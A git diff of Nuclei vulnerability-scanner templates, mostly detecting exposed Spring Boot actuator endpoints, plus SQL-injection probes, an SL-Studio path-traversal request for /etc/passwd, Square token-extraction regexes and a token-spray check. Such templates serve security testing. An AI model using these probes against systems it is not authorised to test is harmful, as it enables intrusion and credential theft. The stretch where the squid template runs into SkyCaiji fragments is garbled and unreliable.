springboot,exposure - -requests: - - method: GET - path: - - "{{BaseURL}}/health" - - "{{BaseURL}}/actuator/health" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"status"' - - '"diskSpace"' - - '"jms"' - condition: and - - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/springboot-health.yaml b/nuclei-templates/Other/springboot-health.yaml new file mode 100644 index 0000000000..03ab2172d4 --- /dev/null +++ b/nuclei-templates/Other/springboot-health.yaml @@ -0,0 +1,24 @@ +id: springboot-health +info: + name: Detect Springboot Health Actuator + author: pussycat0x + severity: info + description: Additional routes may be displayed + tags: springboot,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/health" + - "{{BaseURL}}/actuator/health" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"status"' + - '"diskSpace"' + - '"jms"' + condition: and + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-heapdump.yaml b/nuclei-templates/Other/springboot-heapdump.yaml new file mode 100644 index 0000000000..c84da82205 --- /dev/null +++ b/nuclei-templates/Other/springboot-heapdump.yaml @@ -0,0 +1,29 @@ +id: springboot-heapdump +info: + name: Spring Boot Actuator - Heap Dump Detection + author: that_juan_,dwisiswant0,wdahlenb + severity: critical + description: A Spring Boot Actuator heap dump was detected. A heap dump is a snapshot of JVM memory, which could expose environment variables and HTTP requests. + reference: + - https://github.com/pyn3rd/Spring-Boot-Vulnerability + tags: springboot,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/heapdump" + - "{{BaseURL}}/actuator/heapdump" + max-size: 2097152 # 2MB - Max Size to read from server response + matchers-condition: and + matchers: + - type: binary + part: body + binary: + - "4a4156412050524f46494c45" # "JAVA PROFILE" + - "4850524f46" # "HPROF" + - "1f8b080000000000" # Gunzip magic byte + condition: or + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/20 diff --git a/nuclei-templates/Other/springboot-httptrace-10467.yaml b/nuclei-templates/Other/springboot-httptrace-10467.yaml new file mode 100644 index 0000000000..f91a784635 --- /dev/null +++ b/nuclei-templates/Other/springboot-httptrace-10467.yaml @@ -0,0 +1,36 @@ +id: springboot-httptrace + +info: + name: Detect Springboot httptrace + author: that_juan_,dwisiswant0,wdahlenb + severity: low + description: View recent HTTP requests and responses + tags: springboot,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/httptrace" + - "{{BaseURL}}/actuator/httptrace" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"traces"' + - '"timestamp"' + - '"principal"' + - '"session"' + condition: and + + - type: status + status: + - 200 + + - type: word + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + part: header diff --git a/nuclei-templates/Other/springboot-httptrace.yaml b/nuclei-templates/Other/springboot-httptrace.yaml deleted file mode 100644 index 6671df8ac9..0000000000 --- a/nuclei-templates/Other/springboot-httptrace.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: springboot-httptrace -info: - name: Detect Springboot httptrace - author: that_juan_,dwisiswant0,wdahlenb - severity: low - description: View recent HTTP requests and responses - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/httptrace" - - "{{BaseURL}}/actuator/httptrace" - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"traces"' - - '"timestamp"' - - '"principal"' - - '"session"' - condition: and - - type: status - status: - - 200 - - type: word - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - part: header diff --git a/nuclei-templates/Other/springboot-info-10470.yaml b/nuclei-templates/Other/springboot-info-10470.yaml deleted file mode 100644 index c9d77a9f5f..0000000000 --- a/nuclei-templates/Other/springboot-info-10470.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: springboot-info - -info: - name: Detect Springboot Information page - author: philippedelteil - severity: info - description: Displays app name and version information among others values - tags: springboot - -requests: - - method: GET - path: - - "{{BaseURL}}/info" - - "{{BaseURL}}/actuator/info" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"build"' - - '"artifact"' - condition: and - - - type: status - status: - - 200 - - - type: word - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v2+json" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - part: header diff --git a/nuclei-templates/Other/springboot-info.yaml b/nuclei-templates/Other/springboot-info.yaml new file mode 100644 index 0000000000..899a74d592 --- /dev/null +++ b/nuclei-templates/Other/springboot-info.yaml @@ -0,0 +1,32 @@ +id: springboot-info +info: + name: Detect Springboot Information page + author: philippedelteil + severity: info + description: Displays app name and version information among others values + tags: springboot +requests: + - method: GET + path: + - "{{BaseURL}}/info" + - "{{BaseURL}}/actuator/info" + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"build"' + - '"artifact"' + condition: and + - type: word + part: header + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v2+json" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-loggers-10475.yaml b/nuclei-templates/Other/springboot-loggers-10475.yaml new file mode 100644 index 0000000000..15abdb57f7 --- /dev/null +++ b/nuclei-templates/Other/springboot-loggers-10475.yaml @@ -0,0 +1,34 @@ +id: springboot-loggers + +info: + name: Detect Springboot Loggers + author: that_juan_,dwisiswant0,wdahlenb + severity: low + tags: springboot,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/loggers" + - "{{BaseURL}}/actuator/loggers" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"loggers"' + - '"levels"' + condition: and + + - type: status + status: + - 200 + + - type: word + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + part: header diff --git a/nuclei-templates/Other/springboot-loggers-10476.yaml b/nuclei-templates/Other/springboot-loggers-10476.yaml deleted file mode 100644 index b5e9d66968..0000000000 --- a/nuclei-templates/Other/springboot-loggers-10476.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: springboot-loggers -info: - name: Detect Springboot Loggers - author: that_juan_,dwisiswant0,wdahlenb - severity: low - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/loggers" - - "{{BaseURL}}/actuator/loggers" - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"loggers"' - - '"levels"' - condition: and - - type: status - status: - - 200 - - type: word - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - part: header diff --git a/nuclei-templates/Other/springboot-mappings-10480.yaml b/nuclei-templates/Other/springboot-mappings-10480.yaml new file mode 100644 index 0000000000..d9abf6d280 --- /dev/null +++ b/nuclei-templates/Other/springboot-mappings-10480.yaml @@ -0,0 +1,31 @@ +id: springboot-mappings +info: + name: Detect Springboot Mappings Actuator + author: that_juan_,dwisiswant0,wdahlenb + severity: low + description: Additional routes may be displayed + tags: springboot,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/mappings" + - "{{BaseURL}}/actuator/mappings" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "mappings" + - "method" + - "produces" + condition: and + - type: status + status: + - 200 + - type: word + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + part: header diff --git a/nuclei-templates/Other/springboot-mappings-10481.yaml b/nuclei-templates/Other/springboot-mappings-10481.yaml deleted file mode 100644 index c6b4f9bfef..0000000000 --- a/nuclei-templates/Other/springboot-mappings-10481.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: springboot-mappings - -info: - name: Detect Springboot Mappings Actuator - author: that_juan_,dwisiswant0,wdahlenb - severity: low - description: Additional routes may be displayed - tags: springboot,exposure - -requests: - - method: GET - path: - - "{{BaseURL}}/mappings" - - "{{BaseURL}}/actuator/mappings" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "mappings" - - "method" - - "produces" - condition: and - - type: status - status: - - 200 - - type: word - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - part: header diff --git a/nuclei-templates/Other/springboot-metrics-10482.yaml b/nuclei-templates/Other/springboot-metrics-10482.yaml new file mode 100644 index 0000000000..7c2b07e57d --- /dev/null +++ b/nuclei-templates/Other/springboot-metrics-10482.yaml @@ -0,0 +1,32 @@ +id: springboot-metrics + +info: + name: Detect Springboot metrics Actuator + author: pussycat0x + severity: low + description: Additional routes may be displayed + tags: springboot,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/metrics" + - "{{BaseURL}}/actuator/metrics" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "mem" + - "mem.free" + - "processors" + - "instance.uptime" + - "systemload.average" + - "nonheap.init" + - "heap.committed" + condition: and + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-metrics-10483.yaml b/nuclei-templates/Other/springboot-metrics-10483.yaml deleted file mode 100644 index 8ec00b87b8..0000000000 --- a/nuclei-templates/Other/springboot-metrics-10483.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: springboot-metrics -info: - name: Detect Springboot metrics Actuator - author: pussycat0x - severity: low - description: Additional routes may be displayed - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/metrics" - - "{{BaseURL}}/actuator/metrics" - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "mem" - - "mem.free" - - "processors" - - "instance.uptime" - - "systemload.average" - - "nonheap.init" - - "heap.committed" - condition: and - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/springboot-threaddump-10487.yaml b/nuclei-templates/Other/springboot-threaddump-10487.yaml index 200524a679..98db514631 100644 --- a/nuclei-templates/Other/springboot-threaddump-10487.yaml +++ b/nuclei-templates/Other/springboot-threaddump-10487.yaml @@ -1,16 +1,19 @@ id: springboot-threaddump + info: name: Detect Springboot Thread Dump page author: philippedelteil severity: low - description: The threaddump endpoint provides a thread dump from the application's JVM. + description: The threaddump endpoint provides a thread dump from the application’s JVM. reference: https://docs.spring.io/spring-boot/docs/2.4.11-SNAPSHOT/actuator-api/htmlsingle/#threaddump tags: springboot + requests: - method: GET path: - "{{BaseURL}}/threaddump" - "{{BaseURL}}/actuator/threaddump" + matchers-condition: and matchers: - type: word @@ -19,9 +22,11 @@ requests: - '"threads":' - '"threadName":' condition: and + - type: status status: - 200 + - type: word words: - "application/json" diff --git a/nuclei-templates/Other/springboot-trace-10491.yaml b/nuclei-templates/Other/springboot-trace-10491.yaml new file mode 100644 index 0000000000..11c73c2c29 --- /dev/null +++ b/nuclei-templates/Other/springboot-trace-10491.yaml @@ -0,0 +1,31 @@ +id: springboot-trace +info: + name: Detect Springboot Trace Actuator + author: that_juan_ & dwisiswant0 & wdahlenb + severity: low + description: View recent HTTP requests and responses + tags: springboot,disclosure +requests: + - method: GET + path: + - "{{BaseURL}}/trace" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"timestamp"' + - '"info"' + - '"method"' + - '"path"' + condition: and + - type: status + status: + - 200 + - type: word + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + part: header diff --git a/nuclei-templates/Other/springboot-trace.yaml b/nuclei-templates/Other/springboot-trace.yaml deleted file mode 100644 index b967e514f2..0000000000 --- a/nuclei-templates/Other/springboot-trace.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: springboot-trace -info: - name: Detect Springboot Trace Actuator - author: that_juan_,dwisiswant0,wdahlenb - severity: low - description: View recent HTTP requests and responses - tags: misconfig,springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/trace" - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"timestamp"' - - '"info"' - - '"method"' - - '"path"' - condition: and - - type: word - part: header - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/springboot_heapdump.yaml b/nuclei-templates/Other/springboot_heapdump.yaml deleted file mode 100644 index d8a33f5df9..0000000000 --- a/nuclei-templates/Other/springboot_heapdump.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: springboot-heapdump -info: - name: Spring Boot Actuator - Heap Dump Detection - author: that_juan_,dwisiswant0,wdahlenb - severity: critical - description: A Spring Boot Actuator heap dump was detected. A heap dump is a snapshot of JVM memory, which could expose environment variables and HTTP requests. - reference: - - https://github.com/pyn3rd/Spring-Boot-Vulnerability - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/heapdump" - - "{{BaseURL}}/actuator/heapdump" - stop-at-first-match: true - max-size: 2097152 # 2MB - Max Size to read from server response - matchers-condition: and - matchers: - - type: binary - part: body - binary: - - "4a4156412050524f46494c45" # "JAVA PROFILE" - - "4850524f46" # "HPROF" - - "1f8b080000000000" # Gunzip magic byte - condition: or - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/20 diff --git a/nuclei-templates/Other/sprintful-takeover-10494.yaml b/nuclei-templates/Other/sprintful-takeover-10494.yaml deleted file mode 100644 index 791e26095d..0000000000 --- a/nuclei-templates/Other/sprintful-takeover-10494.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: sprintful-takeover - -info: - name: Sprintful Takeover - author: Mhdsamx - severity: high - tags: takeover,sprintful - -requests: - - method: GET - path: - - '{{BaseURL}}' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - 'The user account associated with this calendar has been deactivated.' - - 'Please contact the owner of this calendar directly in order to book a meeting.' - - 'This domain name does not have a default page configured.' - condition: or - - - type: word - words: - - "Sprintful" \ No newline at end of file diff --git a/nuclei-templates/Other/sprintful-takeover-10495.yaml b/nuclei-templates/Other/sprintful-takeover-10495.yaml new file mode 100644 index 0000000000..65e4a817c9 --- /dev/null +++ b/nuclei-templates/Other/sprintful-takeover-10495.yaml @@ -0,0 +1,24 @@ +id: sprintful-takeover +info: + name: Sprintful Takeover + author: Mhdsamx + severity: high + tags: takeover,sprintful +requests: + - method: GET + path: + - '{{BaseURL}}' + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - 'The user account associated with this calendar has been deactivated.' + - 'Please contact the owner of this calendar directly in order to book a meeting.' + - 'This domain name does not have a default page configured.' + condition: or + - type: word + words: + - "Sprintful" diff --git a/nuclei-templates/Other/sql-dump-10496.yaml b/nuclei-templates/Other/sql-dump-10498.yaml similarity index 100% rename from nuclei-templates/Other/sql-dump-10496.yaml rename to nuclei-templates/Other/sql-dump-10498.yaml diff --git a/nuclei-templates/Other/sql-injection.yaml b/nuclei-templates/Other/sql-injection.yaml deleted file mode 100644 index 3a57109aa6..0000000000 --- a/nuclei-templates/Other/sql-injection.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: SQL - -info: - name: SQL Injecion - author: pikpikcu - severity: critical - -requests: - - method: GET - path: - - - "{{BaseURL}}%27" - - "{{BaseURL}}%22" - - "{{BaseURL}}%5C" - - "{{BaseURL}}%2C" - - "{{BaseURL}}%2A" - - "{{BaseURL}}%60" - - matchers: - - type: regex - regex: - - "SQL syntax" - - "MySQL" - - "Unexpected end of command in statement" - - "Unexpected token.*?in statement" - - ".hsqldb" - - ".jdbc" - - "CLI Driver" - - "DB2 SQL error" - - "bdb2_" - - "SQLSTATE" - - "SQLCODE" - - "Warning" - - "SybSQLException" - - "sqlite" - - "SQLite3" - - "Sqlite" - - "SQLSTATE" - - "Error 500" - - "statementSQL" - part: body - - type: status - status: - - 500 - - 302 - - 400 - part: header diff --git a/nuclei-templates/Other/sql-monitor-10505.yaml b/nuclei-templates/Other/sql-monitor-10505.yaml deleted file mode 100644 index e9b23658ed..0000000000 --- a/nuclei-templates/Other/sql-monitor-10505.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: sql-monitor - -info: - name: SQL Monitor - author: dhiyaneshDK - severity: info - tags: panel - metadata: - shodan-query: 'html:"SQL Monitor"' - -requests: - - method: GET - path: - - '{{BaseURL}}/Account/LogIn?returnUrl=%2F&hasAttemptedCookie=True' - - matchers-condition: and - matchers: - - type: word - words: - - 'JavaScript needs to be enabled for SQL Monitor to work properly.' - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/sql-monitor.yaml b/nuclei-templates/Other/sql-monitor.yaml new file mode 100644 index 0000000000..8f8f3bc82e --- /dev/null +++ b/nuclei-templates/Other/sql-monitor.yaml @@ -0,0 +1,20 @@ +id: sql-monitor +info: + name: SQL Monitor + author: dhiyaneshDK + severity: info + tags: panel + metadata: + shodan-query: 'html:"SQL Monitor"' +requests: + - method: GET + path: + - '{{BaseURL}}/Account/LogIn?returnUrl=%2F&hasAttemptedCookie=True' + matchers-condition: and + matchers: + - type: word + words: + - 'JavaScript needs to be enabled for SQL Monitor to work properly.' + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/sql-server-reporting-10509.yaml b/nuclei-templates/Other/sql-server-reporting-10509.yaml index bb0fa2dd5b..4e97bee905 100644 --- a/nuclei-templates/Other/sql-server-reporting-10509.yaml +++ b/nuclei-templates/Other/sql-server-reporting-10509.yaml @@ -1,9 +1,11 @@ id: sql-server-reporting + info: name: Detect Microsoft SQL Server Reporting author: puzzlepeaches severity: info - tags: tech,micrsoft + tags: tech,microsoft + requests: - method: GET path: diff --git a/nuclei-templates/Other/sqli.yaml b/nuclei-templates/Other/sqli.yaml new file mode 100644 index 0000000000..f6d042112a --- /dev/null +++ b/nuclei-templates/Other/sqli.yaml @@ -0,0 +1,47 @@ +id: SQL + +info: + name: SQL Injecion + author: pikpikcu + severity: critical + +requests: + - method: GET + path: + + - "{{BaseURL}}%27" + - "{{BaseURL}}%22" + - "{{BaseURL}}%5C" + - "{{BaseURL}}%2C" + - "{{BaseURL}}%2A" + - "{{BaseURL}}%60" + + matchers: + - type: regex + regex: + - "SQL syntax" + - "MySQL" + - "Unexpected end of command in statement" + - "Unexpected token.*?in statement" + - ".hsqldb" + - ".jdbc" + - "CLI Driver" + - "DB2 SQL error" + - "bdb2_" + - "SQLSTATE" + - "SQLCODE" + - "Warning" + - "SybSQLException" + - "sqlite" + - "SQLite3" + - "Sqlite" + - "SQLSTATE" + - "Error 500" + - "statementSQL" + part: body + - type: status + status: + - 500 + - 302 + - 400 + part: header diff --git a/nuclei-templates/Other/sqli_header (copy 1).yaml b/nuclei-templates/Other/sqli_header (copy 1).yaml index 832a9fc156..85e1b90acb 100644 --- a/nuclei-templates/Other/sqli_header (copy 1).yaml +++ b/nuclei-templates/Other/sqli_header (copy 1).yaml @@ -1,8 +1,10 @@ id: header-sqli + info: name: Request header based sqli - author: panch0r3d + author: panch0r3d (Thanks https://github.com/MR-pentestGuy for all of the Regexes) severity: high + requests: - method: GET path: @@ -18,6 +20,48 @@ requests: matchers: - type: regex regex: - - "(s|S)(q|Q)(l|L)" - - "(d|D)(a|A)(t|T)(a|A)(b|B)(a|A)(s|S)(e|E)" + - "(Transaction rollback|com.frontbase.jdbc|org.h2.jdbc|Unexpected end of command in statement|Unexpected token.*?in statement)" + - "(org.hsqldb.jdbc|CLI Driver.*?DB2|DB2 SQL error|bdb2_w+|SQLSTATE.+SQLCODE|com.ibm.db2.jcc)" + - "(Zend_Db_(Adapter|Statement)_Db2_Exception|DB2Exception|Warning.*?ifx_|Exception.*?Informix|Informix ODBC Driver)" + - "(ODBC Informix driver|com.informix.jdbc|weblogic.jdbc.informix|IfxException|Warning.*?ingres_|Ingres SQLSTATE|Ingres.*?Driver)" + - "(com.ingres.gcf.jdbc|Dynamic SQL Error|Warning.*?ibase_|org.firebirdsql.jdbc|Microsoft Access.*?Driver|JET Database Engine)" + - "(Access Database Engine|ODBC Microsoft Access|Syntax error .*?missing operator.*? in query expression|Driver.*? SQL.*? Server)" + - "(OLE DB.*? SQL Server|bSQL Server.*? Driver|Warning.*?(mssql|sqlsrv)_|SQL Server|System.Data.SqlClient.SqlException)" + - "(Exception.*?Roadhouse.Cms.|Microsoft SQL Native Client error |ODBC SQL Server Driver|ODBC Driver.*? for SQL Server)" + - "(SQLServer JDBC Driver|com.jnetdirect.jsql|macromedia.jdbc.sqlserver|Zend_Db_(Adapter|Statement)_Sqlsrv_Exception)" + - "(com.microsoft.sqlserver.jdbc|(Mssql|SqlSrv)|SQL(Srv|Server)Exception|SQL syntax.*?MySQL|Warning.*?mysqli?_)" + - "(MySQLSyntaxErrorException|valid MySQL result|check the manual that corresponds to your (MySQL|MariaDB) server version)" + - "(Unknown column .*? in .field list.|MySqlClient.|com.mysql.jdbc|Zend_Db_(Adapter|Statement)_Mysqli_Exception)" + - "(MySqlException|ORA-{5}|Oracle error|Oracle.*?Driver|Warning.*?(oci|ora)_|quoted string not properly terminated)" + - "(SQL command not properly ended|macromedia.jdbc.oracle|oracle.jdbc|Zend_Db_(Adapter|Statement)_Oracle_Exception)" + - "(OracleException|PostgreSQL.*?ERROR|Warning.*?pg|valid PostgreSQL result|Npgsql|PG.*?SyntaxError|org.postgresql.util.PSQLException)" + - "(ERROR.*?syntax error at or near|ERROR.*? parser.*? parse error at or near|PostgreSQL query failed|org.postgresql.jdbc)" + - "(PSQLException|SQL error.*?POS|Warning.*?maxdb|DriverSapDB|com.sap.dbtech.jdbc|SQLite.*?JDBCDriver|SQLite.Exception)" + - "((Microsoft|System).Data.SQLite.SQLiteException|Warning.*?(sqlite_|SQLite3)|SQLITE_ERROR|SQLite error)" + - "(sqlite3.OperationalError:|SQLite3.*?SQLException|org.sqlite.JDBC|Sqlite|SQLiteException|Warning.*?sybase_)" + - "(Sybase message|Sybase.*?Server message|SybSQLException|Sybase.Data.AseClient|com.sybase.jdbc)" part: body + extractors: + - type: regex + part: body + regex: + - "(Transaction rollback|com.frontbase.jdbc|org.h2.jdbc|Unexpected end of command in statement|Unexpected token.*?in statement)" + - "(org.hsqldb.jdbc|CLI Driver.*?DB2|DB2 SQL error|bdb2_w+|SQLSTATE.+SQLCODE|com.ibm.db2.jcc)" + - "(Zend_Db_(Adapter|Statement)_Db2_Exception|DB2Exception|Warning.*?ifx_|Exception.*?Informix|Informix ODBC Driver)" + - "(ODBC Informix driver|com.informix.jdbc|weblogic.jdbc.informix|IfxException|Warning.*?ingres_|Ingres SQLSTATE|Ingres.*?Driver)" + - "(com.ingres.gcf.jdbc|Dynamic SQL Error|Warning.*?ibase_|org.firebirdsql.jdbc|Microsoft Access.*?Driver|JET Database Engine)" + - "(Access Database Engine|ODBC Microsoft Access|Syntax error .*?missing operator.*? in query expression|Driver.*? SQL.*? Server)" + - "(OLE DB.*? SQL Server|bSQL Server.*? Driver|Warning.*?(mssql|sqlsrv)_|SQL Server|System.Data.SqlClient.SqlException)" + - "(Exception.*?Roadhouse.Cms.|Microsoft SQL Native Client error |ODBC SQL Server Driver|ODBC Driver.*? for SQL Server)" + - "(SQLServer JDBC Driver|com.jnetdirect.jsql|macromedia.jdbc.sqlserver|Zend_Db_(Adapter|Statement)_Sqlsrv_Exception)" + - "(com.microsoft.sqlserver.jdbc|(Mssql|SqlSrv)|SQL(Srv|Server)Exception|SQL syntax.*?MySQL|Warning.*?mysqli?_)" + - "(MySQLSyntaxErrorException|valid MySQL result|check the manual that corresponds to your (MySQL|MariaDB) server version)" + - "(Unknown column .*? in .field list.|MySqlClient.|com.mysql.jdbc|Zend_Db_(Adapter|Statement)_Mysqli_Exception)" + - "(MySqlException|ORA-{5}|Oracle error|Oracle.*?Driver|Warning.*?(oci|ora)_|quoted string not properly terminated)" + - "(SQL command not properly ended|macromedia.jdbc.oracle|oracle.jdbc|Zend_Db_(Adapter|Statement)_Oracle_Exception)" + - "(OracleException|PostgreSQL.*?ERROR|Warning.*?pg|valid PostgreSQL result|Npgsql|PG.*?SyntaxError|org.postgresql.util.PSQLException)" + - "(ERROR.*?syntax error at or near|ERROR.*? parser.*? parse error at or near|PostgreSQL query failed|org.postgresql.jdbc)" + - "(PSQLException|SQL error.*?POS|Warning.*?maxdb|DriverSapDB|com.sap.dbtech.jdbc|SQLite.*?JDBCDriver|SQLite.Exception)" + - "((Microsoft|System).Data.SQLite.SQLiteException|Warning.*?(sqlite_|SQLite3)|SQLITE_ERROR|SQLite error)" + - "(sqlite3.OperationalError:|SQLite3.*?SQLException|org.sqlite.JDBC|Sqlite|SQLiteException|Warning.*?sybase_)" + - "(Sybase message|Sybase.*?Server message|SybSQLException|Sybase.Data.AseClient|com.sybase.jdbc)" diff --git a/nuclei-templates/Other/square-access-token(1).yaml b/nuclei-templates/Other/square-access-token(1).yaml new file mode 100644 index 0000000000..5601c992e7 --- /dev/null +++ b/nuclei-templates/Other/square-access-token(1).yaml @@ -0,0 +1,17 @@ +id: square-access-token + +info: + name: Square Access Token + author: gaurang,daffainfo + severity: high + tags: token,file,square + +file: + - extensions: + - all + + extractors: + - type: regex + regex: + - "EAAAE[a-zA-Z0-9_-]{59}" + - "sq0atp-[0-9A-Za-z\\-_]{22}" diff --git a/nuclei-templates/Other/square-oauth-secret(1).yaml b/nuclei-templates/Other/square-oauth-secret(1).yaml deleted file mode 100644 index 86392888a8..0000000000 --- a/nuclei-templates/Other/square-oauth-secret(1).yaml +++ /dev/null @@ -1,13 +0,0 @@ -id: square-oauth-secret -info: - name: Square OAuth Secret - author: gaurang - severity: high - tags: token,file,square -file: - - extensions: - - all - extractors: - - type: regex - regex: - - "sq0csp-[0-9A-Za-z\\-_]{43}" diff --git a/nuclei-templates/Other/square.yaml b/nuclei-templates/Other/square.yaml new file mode 100644 index 0000000000..7ccb835189 --- /dev/null +++ b/nuclei-templates/Other/square.yaml @@ -0,0 +1,25 @@ +id: api-square + +info: + name: Square API Test + author: zzeitlin + reference: https://developer.squareup.com/explorer/square/locations-api/list-locations + severity: info + tags: token-spray,square + +self-contained: true +requests: + - method: GET + path: + - "https://connect.squareup.com/v2/locations" + - "https://connect.squareupsandbox.com/v2/locations" + headers: + Content-Type: application/json + Authorization: Bearer {{token}} + + matchers: + - type: word + part: body + words: + - 'errors' + negative: true diff --git a/nuclei-templates/Other/squid-analysis-report-generator-10513.yaml b/nuclei-templates/Other/squid-analysis-report-generator-10513.yaml new file mode 100644 index 0000000000..ccc3a9b84d --- /dev/null +++ b/nuclei-templates/Other/squid-analysis-report-generator-10513.yaml @@ -0,0 +1,31 @@ +id: squid-analysis-report-generator +info: + name: Squid Analysis Report Generator + author: geeknik + description: SARG is an open source tool that allows you to analyse the squid log files and generates beautiful reports in HTML format with information about users, IP addresses, top accessed sites, total bandwidth usage, elapsed time, downloads, access denied websites, daily reports, weekly reports and monthly reports. + reference: https://sourceforge.net/projects/sarg/ + severity: high + tags: sarg,exposure,logs +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Squid User Access Report" + - "Squid User's Access Report" + condition: or + - type: word + part: body + words: + - "
Powered by ' + - '' + condition: and + - type: status + status: + - 200 + extractors: + - type: regex + part: body + group: 1 + regex: + - 'com">SkyCaiji<\/a> ([A-Z0-9.]+) 后台管理<\/p>' diff --git a/nuclei-templates/Other/skycaiji-install-10309.yaml b/nuclei-templates/Other/skycaiji-install-10309.yaml index b88e58204b..4edf4869d7 100644 --- a/nuclei-templates/Other/skycaiji-install-10309.yaml +++ b/nuclei-templates/Other/skycaiji-install-10309.yaml @@ -1,14 +1,16 @@ id: skycaiji-install + info: - name: SkyCaiji - Exposed Installation + name: SkyCaiji Exposed Installation author: pikpikcu severity: high - description: SkyCaiji was discovered. tags: tech,skycaiji,exposure,misconfig + requests: - method: GET path: - '{{BaseURL}}/index.php?s=/install/index/index' + matchers-condition: and matchers: - type: word @@ -18,8 +20,7 @@ requests: - 'https://www.skycaiji.com' - '' condition: and + - type: status status: - 200 - -# Enhanced by mp on 2022/07/21 diff --git a/nuclei-templates/Other/sl-studio-lfi-10320.yaml b/nuclei-templates/Other/sl-studio-lfi-10320.yaml new file mode 100644 index 0000000000..9679b24436 --- /dev/null +++ b/nuclei-templates/Other/sl-studio-lfi-10320.yaml @@ -0,0 +1,22 @@ +id: sl-studio-lfi +info: + name: Webbdesign SL-Studio Directory Traversal + author: 0x_Akoko + severity: high + reference: + - https://cxsecurity.com/issue/WLB-2018110187 + metadata: + google-dork: 'inurl:index.php?page= intext:Webbdesign: SL-Studio.' + tags: slstudio,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?page=../../../../../../../../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/sl-studio-lfi.yaml b/nuclei-templates/Other/sl-studio-lfi.yaml deleted file mode 100644 index 90dd6e278e..0000000000 --- a/nuclei-templates/Other/sl-studio-lfi.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: sl-studio-lfi -info: - name: Webbdesign SL-Studio - Local File Inclusion - author: 0x_Akoko - severity: high - description: Webbdesign SL-Studio is vulnerable to local file inclusion. - reference: - - https://cxsecurity.com/issue/WLB-2018110187 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cwe-id: CWE-22 - metadata: - google-dork: 'inurl:index.php?page= intext:Webbdesign: SL-Studio.' - tags: slstudio,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?page=../../../../../../../../../../etc/passwd" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/08/04 diff --git a/nuclei-templates/Other/slack-api(1).yaml b/nuclei-templates/Other/slack-api(1).yaml index 51bef1c14c..ea761c24d4 100644 --- a/nuclei-templates/Other/slack-api(1).yaml +++ 